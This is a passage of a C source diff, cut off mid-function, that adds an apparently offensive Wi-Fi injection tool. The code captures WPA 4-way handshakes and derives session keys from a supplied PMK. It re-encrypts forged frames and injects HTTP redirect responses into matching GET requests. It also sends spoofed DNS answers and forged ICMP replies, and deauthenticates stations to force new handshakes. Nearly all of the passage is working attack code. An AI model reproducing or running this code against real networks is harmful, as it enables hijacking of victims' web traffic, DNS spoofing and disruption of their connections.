+	u_int32_t sum;
+
+	// initialize sum to zero and loop until length (in words) is 0
+	for (sum = 0; length > 1; length -= 2) // sizeof() returns number of bytes,
+		// we're interested in number of
+		// words
+		sum += *buffer++; // add 1 word of buffer to sum and proceed to the next
+
+	// we may have an extra byte
+	if (length == 1) sum += (u_int8_t) *buffer;
+
+	sum = (sum >> 16) + (sum & 0xFFFF); // add high 16 to low 16
+	sum += (sum >> 16); // add carry
+	return ~sum;
+}
+// This needs to be cleaned up so that we can do UDP/TCP in one function. Don't
+// want to do that now and risk
+// breaking UDP checksums right now
+static u_int16_t calcsum_tcp(u_int16_t * buf,
+							 u_int32_t len,
+							 u_int32_t src_addr,
+							 u_int32_t dest_addr)
+{
+	u_int32_t chksum;
+	u_int32_t length = len;
+	u_int16_t * ip_src = (u_int16_t *) &src_addr;
+	u_int16_t * ip_dst = (u_int16_t *) &dest_addr;
+
+	// Calculate the chksum
+	chksum = 0;
+	while (len > 1)
+	{
+		chksum += *buf++;
+		if (chksum & 0x80000000) chksum = (chksum & 0xFFFF) + (chksum >> 16);
+		len -= 2;
+	}
+
+	if (len & 1)
+		// Add the padding if the packet length is odd
+		chksum += *((u_int8_t *) buf);
+
+	// Add the pseudo-header
+	chksum += *(ip_src++);
+	chksum += *ip_src;
+
+	chksum += *(ip_dst++);
+	chksum += *ip_dst;
+
+	chksum += htons(IPPROTO_TCP);
+	chksum += htons(length);
+
+	while (chksum >> 16) chksum = (chksum & 0xFFFF) + (chksum >> 16);
+
+	// Return the one's complement of chksum
+	return ((u_int16_t)(~chksum));
+}
+
+static u_int16_t calcsum_udp(u_int16_t * buf,
+							 u_int32_t len,
+							 u_int32_t src_addr,
+							 u_int32_t dest_addr)
+{
+	u_int32_t chksum;
+	u_int32_t length = len;
+	u_int16_t * ip_src = (u_int16_t *) &src_addr;
+	u_int16_t * ip_dst = (u_int16_t *) &dest_addr;
+
+	// Calculate the chksum
+	chksum = 0;
+	while (len > 1)
+	{
+		chksum += *buf++;
+		if (chksum & 0x80000000) chksum = (chksum & 0xFFFF) + (chksum >> 16);
+		len -= 2;
+	}
+
+	if (len & 1)
+		// Add the padding if the packet length is odd
+		chksum += *((u_int8_t *) buf);
+
+	// Add the pseudo-header
+	chksum += *(ip_src++);
+	chksum += *ip_src;
+
+	chksum += *(ip_dst++);
+	chksum += *ip_dst;
+
+	chksum += htons(IPPROTO_UDP);
+	chksum += htons(length);
+
+	while (chksum >> 16) chksum = (chksum & 0xFFFF) + (chksum >> 16);
+
+	// Return the one's complement of chksum
+	return ((u_int16_t)(~chksum));
+}
+
+static inline u_int8_t * packet_get_sta_80211(u_int8_t * pkt)
+{
+	struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
+
+	// IF TODS
+	if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+	{
+		return (u_int8_t *) &p_res802->i_addr2;
+	}
+	// IF FROMDS
+	else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+	{
+		return (u_int8_t *) &p_res802->i_addr1;
+	}
+
+	return NULL;
+}
+
+static inline u_int8_t * packet_get_bssid_80211(u_int8_t * pkt)
+{
+	struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
+
+	// IF TODS
+	if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+	{
+		return (u_int8_t *) &p_res802->i_addr1;
+	}
+	// IF FROMDS
+	else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+	{
+		return (u_int8_t *) &p_res802->i_addr2;
+	}
+
+	return NULL;
+}
+
+static void packet_turnaround_80211(u_int8_t * pkt)
+{
+	struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
+	u_int8_t tmp_mac[IEEE80211_ADDR_LEN] = {0};
+
+	// IF TODS, flip to FROMDS
+	if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
+	{
+		p_res802->i_fc[1] = p_res802->i_fc[1] & ~(char) IEEE80211_FC1_DIR_TODS;
+		p_res802->i_fc[1] = p_res802->i_fc[1] | IEEE80211_FC1_DIR_FROMDS;
+	}
+	// IF FROMDS, Flip to TODS
+	else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
+	{
+		p_res802->i_fc[1] = p_res802->i_fc[1] & ~IEEE80211_FC1_DIR_FROMDS;
+		p_res802->i_fc[1] = p_res802->i_fc[1] | IEEE80211_FC1_DIR_TODS;
+	}
+
+	memcpy(tmp_mac, p_res802->i_addr1, IEEE80211_ADDR_LEN);
+	memcpy(p_res802->i_addr1, p_res802->i_addr2, IEEE80211_ADDR_LEN);
+	memcpy(p_res802->i_addr2, tmp_mac, IEEE80211_ADDR_LEN);
+
+	return;
+}
+
+static void packet_turnaround_ip(struct ip_frame * p_resip)
+{
+	// Switch the IP source and destination addresses
+	u_int32_t tmp_addr = p_resip->saddr;
+	p_resip->saddr = p_resip->daddr;
+	p_resip->daddr = tmp_addr;
+	p_resip->ttl = 63;
+}
+
+static void packet_turnaround_ip_udp(struct udp_hdr * p_resudp)
+{
+	// Switch the UDP source and destination Ports
+	u_int16_t tmp_port = p_resudp->sport;
+	p_resudp->sport = p_resudp->dport;
+	p_resudp->dport = tmp_port;
+}
+
+static void packet_turnaround_ip_tcp(struct tcp_hdr * p_restcp,
+									 u_int32_t next_seq_hint)
+{
+	// Switch the TCP source and destination Ports
+	u_int16_t tmp_port = p_restcp->sport;
+	p_restcp->sport = p_restcp->dport;
+	p_restcp->dport = tmp_port;
+
+	u_int32_t tmp_num = p_restcp->seqnu;
+	p_restcp->seqnu = p_restcp->ack_seq;
+	p_restcp->ack_seq = tmp_num;
+
+	// Increment seq by the length of the data in the current packet
+	tmp_num = ntohl(p_restcp->ack_seq) + next_seq_hint;
+
+	p_restcp->ack_seq = htonl(tmp_num);
+}
+
+static u_int16_t dns_name_end(u_int8_t * buff, u_int16_t maxlen)
+{
+	u_int8_t * ptr = buff;
+	u_int8_t count = 0;
+	u_int16_t offset = 0;
+
+	while (offset < maxlen)
+	{
+		count = ptr[0] + 1;
+		offset += count;
+		ptr += count;
+
+		if (count == 1) break;
+	};
+
+	return offset;
+}
+
+static int strip_ccmp_header(u_int8_t * h80211, int caplen, unsigned char PN[6])
+{
+	int is_a4, z, is_qos;
+
+	is_a4 = (h80211[1] & 3) == 3;
+	is_qos = (h80211[0] & 0x8C) == 0x88;
+	z = 24 + 6 * is_a4;
+	z += 2 * is_qos;
+
+	// Insert CCMP header
+	// memmove( h80211+z+8, h80211+z, caplen-z );
+	PN[5] = h80211[z + 0];
+	PN[4] = h80211[z + 1];
+	PN[3] = h80211[z + 4];
+	PN[2] = h80211[z + 5];
+	PN[1] = h80211[z + 6];
+	PN[0] = h80211[z + 7];
+	memmove(h80211 + z, h80211 + z + 8, caplen - z);
+
+	// return new length, encrypt_ccmp() expects on encryption artifacts in
+	// frame,
+	// and states frame is encrypted in place resulting in extra 16 bytes?
+	return caplen - 16;
+}
+
+static void
+encrypt_data_packet(u_int8_t * packet, int length, struct WPA_ST_info * sta_cur)
+{
+	if ((NULL == sta_cur) || (!sta_cur->valid_ptk))
+	{
+		return;
+	}
+	else
+	{
+		// if the PTK is valid, try to decrypt
+		if (sta_cur->keyver == 1)
+		{
+			// printf("TKIP packet length = %d\n", length );
+			// hexDump("full before encrypt", packet, length);
+			encrypt_tkip(packet, length, sta_cur->ptk);
+		}
+		else
+		{
+			// printf("CCMP Packet\n");
+			// This will take the current packet that already
+			// has a ccmp header and strip it and return the PN
+			// This is required so that we comply with the
+			// encrypt_ccmp function in crypto.c
+			unsigned char PN[6] = {0};
+			length = strip_ccmp_header(packet, length, PN);
+			encrypt_ccmp(packet, length, sta_cur->ptk + 32, PN);
+		}
+	}
+}
+
+// Global packet buffer for use in building response packets
+uint8_t pkt[2048] = {0};
+
+static void process_unencrypted_data_packet(u_int8_t * packet,
+											u_int32_t length,
+											u_int32_t debug)
+{
+	if (debug) hexDump("full", packet, length);
+
+	u_int8_t * packet_start = packet;
+	int packet_start_length = length;
+	char extra_enc_length = 0;
+	// char flag_reencypt
+
+	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
+
+	int size_80211hdr = sizeof(struct ieee80211_frame);
+
+	// Check to see if we have a QOS 802.11 frame
+	if (IEEE80211_FC0_SUBTYPE_QOS & wfrm->i_fc[0])
+	{
+		size_80211hdr = sizeof(struct ieee80211_qosframe);
+		// Here's an idea from a presentation out of NL, assign this packet
+		// a QOS priority that isn't used in order to not collide with
+		// squence numbers from the real AP/STA
+		struct ieee80211_qosframe * wqfrm
+			= (struct ieee80211_qosframe *) packet;
+		wqfrm->i_qos[0] = 0x7;
+	}
+
+	// Increment the 802.11 sequence number
+	uint16_t * p_seq = (uint16_t *) &wfrm->i_seq;
+	uint16_t pkt_sent = (*p_seq) >> 4;
+	pkt_sent += 1;
+	// printf("seq = %d\n", pkt_sent);
+	packet[22] = (pkt_sent & 0x0000000F) << 4;
+	packet[23] = (pkt_sent & 0x00000FF0) >> 4;
+
+	// Skip over the 802.11 header
+	packet += size_80211hdr;
+	length -= size_80211hdr;
+
+	// If the protected bit is set, we decrypted this packet and passed it on
+	// here
+	// Calculate the correct offset to the start of the data
+	if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
+	{
+		if (0 == (packet[3] & 0x20))
+		{
+			// this is a regular WEP IV field
+			extra_enc_length = 4;
+		}
+		else
+		{
+			// this is a Extended IV field
+			extra_enc_length = 8;
+		}
+		packet += extra_enc_length;
+		length -= extra_enc_length;
+		size_80211hdr += extra_enc_length;
+	}
+
+	struct llc_frame * p_llc = (struct llc_frame *) packet;
+	if (debug) hexDump("llc", p_llc, length);
+	packet += sizeof(struct llc_frame);
+	length -= sizeof(struct llc_frame);
+	// Sanity check...
+	// We should have a data packet. Check for LLC
+	if (p_llc->i_dsap == 0xAA && p_llc->i_ssap == 0xAA)
+	{
+		// If it's an EAPOL frame, let's capture the handshake
+		if (ETHTYPE_8021x == p_llc->i_ethtype)
+		{
+			struct dot1x_hdr * p_d1x = (struct dot1x_hdr *) packet;
+			struct radius_hdr * p_rhdr
+				= (struct radius_hdr *) (packet + sizeof(struct dot1x_hdr));
+
+			// Must be a key frame, and must be RSN (2) or WPA (254)
+			if ((DOT1X_ID_EAP_KEY != p_d1x->idtype)
+				|| (2 != p_rhdr->code && 254 != p_rhdr->code))
+			{
+				return;
+			}
+
+			// frame 1 of 4: Pairwise == 1, Install == 0, Ack == 1, MIC == 0,
+			// Secure == 0 */
+			if (1 == p_rhdr->key_type && 0 == p_rhdr->key_install
+				&& 1 == p_rhdr->key_ack
+				&& 0 == p_rhdr->key_mic)
+			{
+				/* set authenticator nonce */
+				memcpy(opt.st_cur->anonce, p_rhdr->wpa_nonce, 32);
+				printf(COL_4WAYHS "------> #1, Captured anonce " COL_REST);
+				PRINTMAC(opt.st_cur->stmac);
+			}
+
+			/* frame 2 of 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1,
+			 * Secure == 0 */
+			/* frame 4 of 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1,
+			 * Secure == 1 */
+			if (1 == p_rhdr->key_type && 0 == p_rhdr->key_install
+				&& 0 == p_rhdr->key_ack
+				&& 1 == p_rhdr->key_mic)
+			{
+				if (memcmp(p_rhdr->wpa_nonce, ZERO, 32) != 0)
+				{
+					/* set supplicant nonce */
+					memcpy(opt.st_cur->snonce, p_rhdr->wpa_nonce, 32);
+					printf(COL_4WAYHS "------> #2, Captured snonce " COL_REST);
+				}
+				else
+				{
+					printf(COL_4WAYHS "------> #4, Captured        " COL_REST);
+				}
+				PRINTMAC(opt.st_cur->stmac);
+
+				opt.st_cur->eapol_size
+					= ntohs(p_d1x->length) + 4; // 4 is sizeof radius header
+
+				if (length < opt.st_cur->eapol_size
+					|| opt.st_cur->eapol_size == 0
+					|| opt.st_cur->eapol_size > sizeof(opt.st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					printf("Caught a packet trying to crash us, sneaky "
+						   "bastard!\n");
+					hexDump("Offending Packet:", packet, length);
+					opt.st_cur->eapol_size = 0;
+					return;
+				}
+				// Save the MIC
+				memcpy(opt.st_cur->keymic, p_rhdr->wpa_key_mic, 16);
+				// Save the whole EAPOL frame
+				memcpy(opt.st_cur->eapol, p_d1x, opt.st_cur->eapol_size);
+				// Clearing the MIC in the saves EAPOL frame
+				memset(opt.st_cur->eapol + 81, 0, 16);
+
+				// copy the key descriptor version
+				opt.st_cur->keyver = p_rhdr->key_ver;
+			}
+
+			/* frame 3 of 4: Pairwise == 1, Install == 1, Ack == 1, MIC == 1,
+			 * Secure == 1 */
+			if (1 == p_rhdr->key_type && 1 == p_rhdr->key_install
+				&& 1 == p_rhdr->key_ack
+				&& 1 == p_rhdr->key_mic)
+			{
+				if (memcmp(p_rhdr->wpa_nonce, ZERO, 32) != 0)
+				{
+					/* set authenticator nonce (again) */
+					memcpy(opt.st_cur->anonce, p_rhdr->wpa_nonce, 32);
+					printf(COL_4WAYHS "------> #3, Captured anonce " COL_REST);
+					PRINTMAC(opt.st_cur->stmac);
+				}
+				// WARNING: Serious Code Reuse here!!!
+				opt.st_cur->eapol_size
+					= ntohs(p_d1x->length) + 4; // 4 is sizeof radius header
+
+				if (length < opt.st_cur->eapol_size
+					|| opt.st_cur->eapol_size == 0
+					|| opt.st_cur->eapol_size > sizeof(opt.st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					printf("Caught a packet trying to crash us, sneaky "
+						   "bastard!\n");
+					hexDump("Offending Packet:", packet, length);
+					opt.st_cur->eapol_size = 0;
+					return;
+				}
+				// Save the MIC
+				memcpy(opt.st_cur->keymic, p_rhdr->wpa_key_mic, 16);
+				// Save the whole EAPOL frame
+				memcpy(opt.st_cur->eapol, p_d1x, opt.st_cur->eapol_size);
+				// Clearing the MIC in the saves EAPOL frame
+				memset(opt.st_cur->eapol + 81, 0, 16);
+
+				// copy the key descriptor version
+				opt.st_cur->keyver = p_rhdr->key_ver;
+			}
+
+			memset(opt.st_cur->ptk, 0, 80);
+
+			// opt.st_cur->valid_ptk = calc_ptk( opt.st_cur, opt.st_cur->pmk );
+			opt.st_cur->valid_ptk = calc_ptk(opt.st_cur, opt.pmk);
+			if (1 == opt.st_cur->valid_ptk)
+			{
+
+				hexDump(
+					COL_4WAYKEY "MIC" COL_4WAYKEYDATA, opt.st_cur->keymic, 16);
+				hexDump(
+					COL_4WAYKEY "stmac" COL_4WAYKEYDATA, opt.st_cur->stmac, 6);
+				hexDump(
+					COL_4WAYKEY "bssid" COL_4WAYKEYDATA, opt.st_cur->bssid, 6);
+				hexDump(COL_4WAYKEY "anonce" COL_4WAYKEYDATA,
+						opt.st_cur->anonce,
+						32);
+				hexDump(COL_4WAYKEY "snonce" COL_4WAYKEYDATA,
+						opt.st_cur->snonce,
+						32);
+				hexDump(COL_4WAYKEY "keymic" COL_4WAYKEYDATA,
+						opt.st_cur->keymic,
+						16);
+				hexDump(COL_4WAYKEY "epol" COL_4WAYKEYDATA,
+						opt.st_cur->eapol,
+						opt.st_cur->eapol_size);
+				printf(COL_BLUE "Valid key: ");
+				PRINTMAC(opt.st_cur->stmac);
+				printf("\n" COL_REST);
+			}
+
+			return;
+		}
+		else if ((short) ETHTYPE_IP == p_llc->i_ethtype)
+		{
+			// We have an IP frame
+			int offset_ip = size_80211hdr + sizeof(struct llc_frame);
+			int offset_proto = offset_ip + sizeof(struct ip_frame);
+
+			struct ip_frame * p_ip = (struct ip_frame *) packet;
+			packet += sizeof(struct ip_frame);
+			length -= sizeof(struct ip_frame);
+
+			if ((short) PROTO_TCP == p_ip->protocol)
+			{
+
+				struct tcp_hdr * p_tcp = (struct tcp_hdr *) packet;
+				if (80 == ntohs(p_tcp->dport))
+				{
+					length += extra_enc_length;
+					// TCP header size = first 4bits * 32 / 8, same as first
+					// 4bits *4
+					u_int32_t hdr_size = p_tcp->doff * 4;
+					u_int8_t * p_http = packet + hdr_size;
+					u_int32_t l_http = length - hdr_size;
+					// Find a GET
+					if ((1 == opt.flag_http_hijack)
+						&& (p_http[0] == 0x47 && p_http[1] == 0x45
+							&& p_http[2] == 0x54))
+					{
+						int ret = fnmatch((const char *) opt.p_hijack_str,
+										  (const char *) p_http,
+										  FNM_PERIOD);
+						if (0 == ret)
+						{
+							printf("This frame matched a term we are looking "
+								   "for\n");
+							if (NULL != opt.p_redir_url)
+							{
+								char * p_hit
+									= strstr((const char *) p_http,
+											 (const char *) opt.p_redir_url);
+								if (NULL != p_hit)
+								{
+									printf("Caught our own redirect, ignoring "
+										   "this packet\n");
+									return;
+								}
+								else
+								{
+									printf("this is not a redirect to our "
+										   "server\n");
+								}
+							}
+						}
+						else
+						{
+							printf("pattern %s, not in this packet\n",
+								   opt.p_hijack_str);
+							return;
+						}
+
+						memcpy(pkt, packet_start, packet_start_length);
+
+						struct tcp_hdr * p_restcp
+							= (struct tcp_hdr *) (pkt + offset_proto);
+						struct ip_frame * p_resip
+							= (struct ip_frame *) (pkt + offset_ip);
+						u_int32_t res_length
+							= packet_start_length; // This only initially until
+						// we replace content
+
+						//-----------------------------------------------------------------------------
+						// Do some magic here... to create a frame to close the
+						// server connection
+						memcpy(tmpbuf, pkt, packet_start_length);
+						struct ip_frame * p_resip_ack
+							= (struct ip_frame *) (tmpbuf + offset_ip);
+						struct tcp_hdr * p_restcp_ack
+							= (struct tcp_hdr *) (tmpbuf + offset_proto);
+
+						res_length
+							= offset_proto + hdr_size
+							  + extra_enc_length; // have to account for MIC
+						p_resip_ack->id = htons(ntohs(p_resip_ack->id) + 1023);
+						p_resip_ack->tot_len
+							= htons(hdr_size + sizeof(struct ip_frame));
+						p_resip_ack->check = 0;
+						p_resip_ack->check
+							= calcsum((unsigned short *) p_resip_ack,
+									  sizeof(struct ip_frame));
+
+						// We could try some stuff with tcp reset
+						// p_restcp_ack->fin = 1;
+						// p_restcp_ack->ack = 0;
+						// p_restcp_ack->psh = 0;
+						p_restcp_ack->rst = 1;
+
+						// Lets calculate the TCP checksum
+						p_restcp_ack->checksum = 0;
+						p_restcp_ack->checksum
+							= calcsum_tcp((void *) p_restcp_ack,
+										  (hdr_size),
+										  p_resip_ack->saddr,
+										  p_resip_ack->daddr);
+
+						int tmpbuf_len = res_length;
+						// Going to send the packet later, after we send the
+						// redirect...
+						// if( send_packet( tmpbuf, res_length ) != 0 )
+						//    printf("ERROR: couldn't send Ack\n");
+						//-----------------------------------------------------------------------------
+						// The silly extra TCP options were messing with me,
+						// Packets with TCP options
+						// Weren't being accepted. Probably some silly offset
+						// miscalculation. But for
+						// Our purposes, just cut these out.
+						// So get those options out of there
+						int diff = hdr_size - sizeof(struct tcp_hdr);
+						if (0 != diff)
+						{
+							hdr_size = sizeof(struct tcp_hdr);
+							p_resip->tot_len
+								= htons(ntohs(p_resip->tot_len) - diff);
+						}
+						// Update the TCP header with the new size (if changed)
+						p_restcp->doff = hdr_size / 4;
+
+						// start manipulating the packet to turn it around back
+						// to the sender
+						packet_turnaround_80211(pkt);
+						packet_turnaround_ip(p_resip);
+						packet_turnaround_ip_tcp(p_restcp,
+												 ntohs(p_resip->tot_len)
+													 - sizeof(struct ip_frame)
+													 - hdr_size);
+
+						// Pointer to the start of the http section
+						p_http = pkt + offset_proto + hdr_size;
+						l_http = strlen(opt.p_redir_pkt_str);
+
+						// Copy the http frame we wish to send
+						memcpy(p_http, opt.p_redir_pkt_str, l_http);
+						res_length
+							= offset_proto + hdr_size + l_http
+							  + extra_enc_length; // have to account for MIC
+
+						// Set checksum to zero before calculating...
+						p_resip->frag_off = 0x0000;
+						// Incrementing the ID by something, Could try to
+						// calculate this...
+						p_resip->id = htons(ntohs(p_resip->id) + 1025);
+						p_resip->tot_len = htons(l_http + hdr_size
+												 + sizeof(struct ip_frame));
+						p_resip->check = 0;
+						p_resip->check = calcsum((unsigned short *) p_resip,
+												 sizeof(struct ip_frame));
+
+						// Lets calculate the TCP checksum
+						p_restcp->checksum = 0;
+						p_restcp->checksum = calcsum_tcp((void *) p_restcp,
+														 (hdr_size + l_http),
+														 p_resip->saddr,
+														 p_resip->daddr);
+
+						if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
+						{
+							if (opt.st_cur->keyver == 1)
+							{
+								res_length += 4;
+							}
+							encrypt_data_packet(pkt, res_length, opt.st_cur);
+							encrypt_data_packet(tmpbuf, tmpbuf_len, opt.st_cur);
+						}
+
+						printf(COL_HTTPINJECT "---> Injecting Redirect Packet "
+											  "to: " COL_HTTPINJECTDATA);
+						PRINTMAC(opt.st_cur->stmac);
+						printf(COL_REST);
+
+						if (send_packet(pkt, res_length) != 0)
+							printf("Error Sending Packet\n");
+						printf("\n");
+						// Uncomment to send RST packet to the server
+						// if( send_packet( tmpbuf, tmpbuf_len ) != 0 )
+						//    printf("ERROR: couldn't send Ack\n");
+						return;
+					}
+				}
+			}
+			else if ((short) PROTO_UDP == p_ip->protocol && opt.flag_dnsspoof)
+			{
+				struct udp_hdr * p_udp = (struct udp_hdr *) packet;
+
+				// DNS packet
+				if (53 == ntohs(p_udp->dport))
+				{
+					hexDump("DNS", (void *) packet, length);
+					memcpy(pkt, packet_start, packet_start_length);
+					packet_turnaround_80211(pkt);
+					packet_turnaround_ip((struct ip_frame *) (pkt + offset_ip));
+					packet_turnaround_ip_udp(
+						(struct udp_hdr *) (pkt + offset_proto));
+
+					struct udp_hdr * p_resudp
+						= (struct udp_hdr *) (pkt + offset_proto);
+
+					int dns_offset = offset_proto + sizeof(struct udp_hdr);
+					u_int8_t * p_dns = packet_start + dns_offset;
+					u_int8_t * p_resdns = pkt + dns_offset;
+
+					// Copy the beginning part of the packet
+					memcpy(p_resdns, DNS_RESP_PCKT_1, sizeof(DNS_RESP_PCKT_1));
+					struct dns_query * p_dnsq = (struct dns_query *) p_dns;
+					int dns_qlen = dns_name_end((u_int8_t *) &p_dnsq->qdata,
+												packet_start_length);
+
+					// Copy the request DNS name into the response
+					memcpy(p_resdns + sizeof(DNS_RESP_PCKT_1) - 1,
+						   (void *) &p_dnsq->qdata,
+						   dns_qlen);
+					// Copy the rest of the DNS packet
+					memcpy(p_resdns + sizeof(DNS_RESP_PCKT_1) - 1 + dns_qlen,
+						   DNS_RESP_PCKT_2,
+						   sizeof(DNS_RESP_PCKT_2));
+					// Calculate the new resp length
+					int dns_resplen = sizeof(DNS_RESP_PCKT_1) - 1 + dns_qlen
+									  + sizeof(DNS_RESP_PCKT_2);
+
+					struct sockaddr_in s_in;
+					inet_pton(AF_INET, "127.0.0.1", &s_in); // Website will work
+					memcpy(p_resdns + dns_resplen - 5, &s_in, 4);
+					// int ret = inet_aton("192.168.1.102", &s_in);
+					// int ret = inet_aton("50.89.71.10", &s_in);
+
+					// Copy over our own specified IP address
+					// memcpy(p_resdns + dns_resplen - 5, &opt.p_dnsspoof_ip,
+					// 4);
+
+					// copy the Transaction ID
+					p_resdns[0] = p_dns[0];
+					p_resdns[1] = p_dns[1];
+
+					struct ip_frame * p_resip
+						= (struct ip_frame *) (pkt + offset_ip);
+					p_resip->tot_len
+						= htons(dns_resplen + sizeof(struct udp_hdr)
+								+ sizeof(struct ip_frame));
+					// Set checksum to zero before calculating...
+					p_resip->check = 0;
+					p_resip->check = calcsum((unsigned short *) p_resip,
+											 sizeof(struct ip_frame));
+
+					p_resudp->len = htons(dns_resplen + sizeof(struct udp_hdr));
+					p_resudp->checksum = 0;
+					p_resudp->checksum = calcsum_udp((void *) p_resudp,
+													 ntohs(p_resudp->len),
+													 p_resip->saddr,
+													 p_resip->daddr);
+
+					hexDump("sending DNS Response:", pkt, packet_start_length);
+
+					packet_start_length = dns_offset + dns_resplen;
+					if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
+					{
+						if (opt.st_cur->keyver == 1)
+						{
+							packet_start_length += 4;
+						}
+
+						packet_start_length += extra_enc_length;
+						encrypt_data_packet(
+							pkt, packet_start_length, opt.st_cur);
+						// hexDump("Full encrypted", pkt,packet_start_length);
+					}
+
+					if (send_packet(pkt, packet_start_length) != 0)
+						printf("Error Sending Packet\n");
+
+					return;
+				}
+			}
+
+			else if ((1 == opt.flag_icmp_resp)
+					 && (short) PROTO_ICMP == p_ip->protocol)
+			{
+				struct icmp * p_icmp = (struct icmp *) packet;
+				if (p_icmp->icmp_type == 0)
+				{
+					// printf("ICMP Reply, %d, %d\n", p_icmp->icmp_id,
+					// p_icmp->icmp_seq);
+				}
+				if (p_icmp->icmp_type == 8)
+				{
+					printf("ICMP Request Caught, %d, %d\n",
+						   p_icmp->icmp_id,
+						   p_icmp->icmp_seq);
+
+					// copy the original Packet to our response packet buffer
+					memcpy(pkt, packet_start, packet_start_length);
+
+					packet_turnaround_80211(pkt);
+					packet_turnaround_ip((struct ip_frame *) (pkt + offset_ip));
+
+					// Point to the IP frame
+					struct ip_frame * p_resip
+						= (struct ip_frame *) (pkt + offset_ip);
+					// Set checksum to zero before calculating checksum...
+					p_resip->check = 0;
+					p_resip->check = calcsum((unsigned short *) p_resip,
+											 sizeof(struct ip_frame));
+
+					struct icmp * p_resicmp
+						= (struct icmp *) (pkt + size_80211hdr
+										   + sizeof(struct llc_frame)
+										   + sizeof(struct ip_frame));
+					// Set the ICMP type as response
+					p_resicmp->icmp_type = 0;
+
+					// Calculate how much data there is to calculate checksum
+					// over
+					int icmp_length
+						= packet_start_length
+						  - (size_80211hdr + sizeof(struct llc_frame)
+							 + sizeof(struct ip_frame))
+						  - extra_enc_length; // Don't forget extra MIC at the
+					// end of the frame
+
+					if (opt.st_cur->keyver == 1)
+					{
+						icmp_length -= 4;
+					}
+					p_resicmp->icmp_cksum = 0;
+					p_resicmp->icmp_cksum
+						= calcsum((unsigned short *) p_resicmp, icmp_length);
+
+					if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
+					{
+						encrypt_data_packet(
+							pkt, packet_start_length, opt.st_cur);
+					}
+
+					printf("Sending ICMP response\n");
+					if (send_packet(pkt, packet_start_length) != 0)
+						printf("Error Sending Packet\n");
+
+					return;
+				}
+			}
+		}
+	}
+}
+
+static bool is_adhoc_frame(u_int8_t * packet)
+{
+	u_int8_t * p_stmac = packet_get_sta_80211(packet);
+
+	if (NULL == p_stmac)
+	{
+		return TRUE;
+	}
+	else
+	{
+		return FALSE;
+	}
+}
+
+static bool find_station_in_db(u_int8_t * p_stmac)
+{
+	opt.st_prv = NULL;
+	opt.st_cur = opt.st_1st;
+
+	while (opt.st_cur != NULL)
+	{
+		if (!memcmp(opt.st_cur->stmac, p_stmac, 6)) break;
+
+		opt.st_prv = opt.st_cur;
+		opt.st_cur = opt.st_cur->next;
+	}
+
+	if (NULL == opt.st_cur)
+		// If not fount, opt.st_cur == NULL
+		return FALSE;
+	else
+		// If found, opt.st_cur == p_stmac
+		return TRUE;
+}
+
+static bool alloc_new_station_in_db(void)
+{
+	opt.st_cur = (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info));
+
+	if (NULL == opt.st_cur)
+	{
+		perror("station malloc failed");
+		return FALSE;
+	}
+	// Zero out memory of newly allocated structure
+	memset(opt.st_cur, 0, sizeof(struct WPA_ST_info));
+	return TRUE;
+}
+
+static inline bool is_wfrm_encrypted(struct ieee80211_frame * wfrm)
+{
+	return (wfrm->i_fc[1] & IEEE80211_FC1_WEP);
+}
+
+static inline bool is_length_lt_wfrm(int length)
+{
+	return ((int) sizeof(struct ieee80211_frame) >= length);
+}
+
+static inline bool mac_is_multi_broadcast(unsigned char stmac[6])
+{
+	if ((0xFF == stmac[0]) && (0xFF == stmac[1])) return TRUE;
+	if ((0x33 == stmac[0]) && (0x33 == stmac[1])) return TRUE;
+	return FALSE;
+}
+
+static void process_station_data(u_int8_t * packet, int length)
+{
+	if (is_length_lt_wfrm(length)) return;
+
+	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
+
+	u_int8_t * p_stmac = packet_get_sta_80211(packet);
+	u_int8_t * p_bssid = packet_get_bssid_80211(packet);
+
+	if (!find_station_in_db(p_stmac))
+	{
+		if (FALSE == alloc_new_station_in_db())
+		{
+			return;
+		}
+
+		if (opt.st_1st == NULL)
+			opt.st_1st = opt.st_cur;
+		else
+			opt.st_prv->next = opt.st_cur;
+
+		memcpy(opt.st_cur->stmac, p_stmac, 6);
+		memcpy(opt.st_cur->bssid, p_bssid, 6);
+
+		if (TRUE == opt.flag_verbose)
+		{
+			printf(COL_NEWSTA "Added new station\n" COL_NEWSTADATA);
+			printf("Station = ");
+			PRINTMAC(p_stmac);
+			printf("BSSID   = ");
+			PRINTMAC(opt.st_cur->bssid);
+			printf(COL_REST);
+			// Attempt to force a de-auth and reconnect automagically ;)
+		}
+
+		if ((is_wfrm_encrypted(wfrm)) && (TRUE == opt.deauth))
+		{
+			// This frame was encrypted, so send some deauths to the station
+			// Hoping to reauth/reassoc to force 4 way handshake
+			if (FALSE == mac_is_multi_broadcast(opt.st_cur->stmac))
+			{
+				printf("Doing deauth\n");
+				deauth_station(opt.st_cur);
+				printf("\nFinished Deauth Attempt\n");
+			}
+		}
+	}
+}
+
+static inline bool wfrm_is_tods(struct ieee80211_frame * wfrm)
+{
+	return (wfrm->i_fc[1] & IEEE80211_FC1_DIR_TODS);
+}
+
+static inline bool wfrm_is_fromds(struct ieee80211_frame * wfrm)
+{
+	return (wfrm->i_fc[1] & IEEE80211_FC1_DIR_FROMDS);
+}
+
+static inline bool is_wfrm_qos(struct ieee80211_frame * wfrm)
+{
+	return (IEEE80211_FC0_SUBTYPE_QOS & wfrm->i_fc[0]);
+}
+
+static bool is_wfrm_already_processed(u_int8_t * packet, int length)
+{
+	struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
+
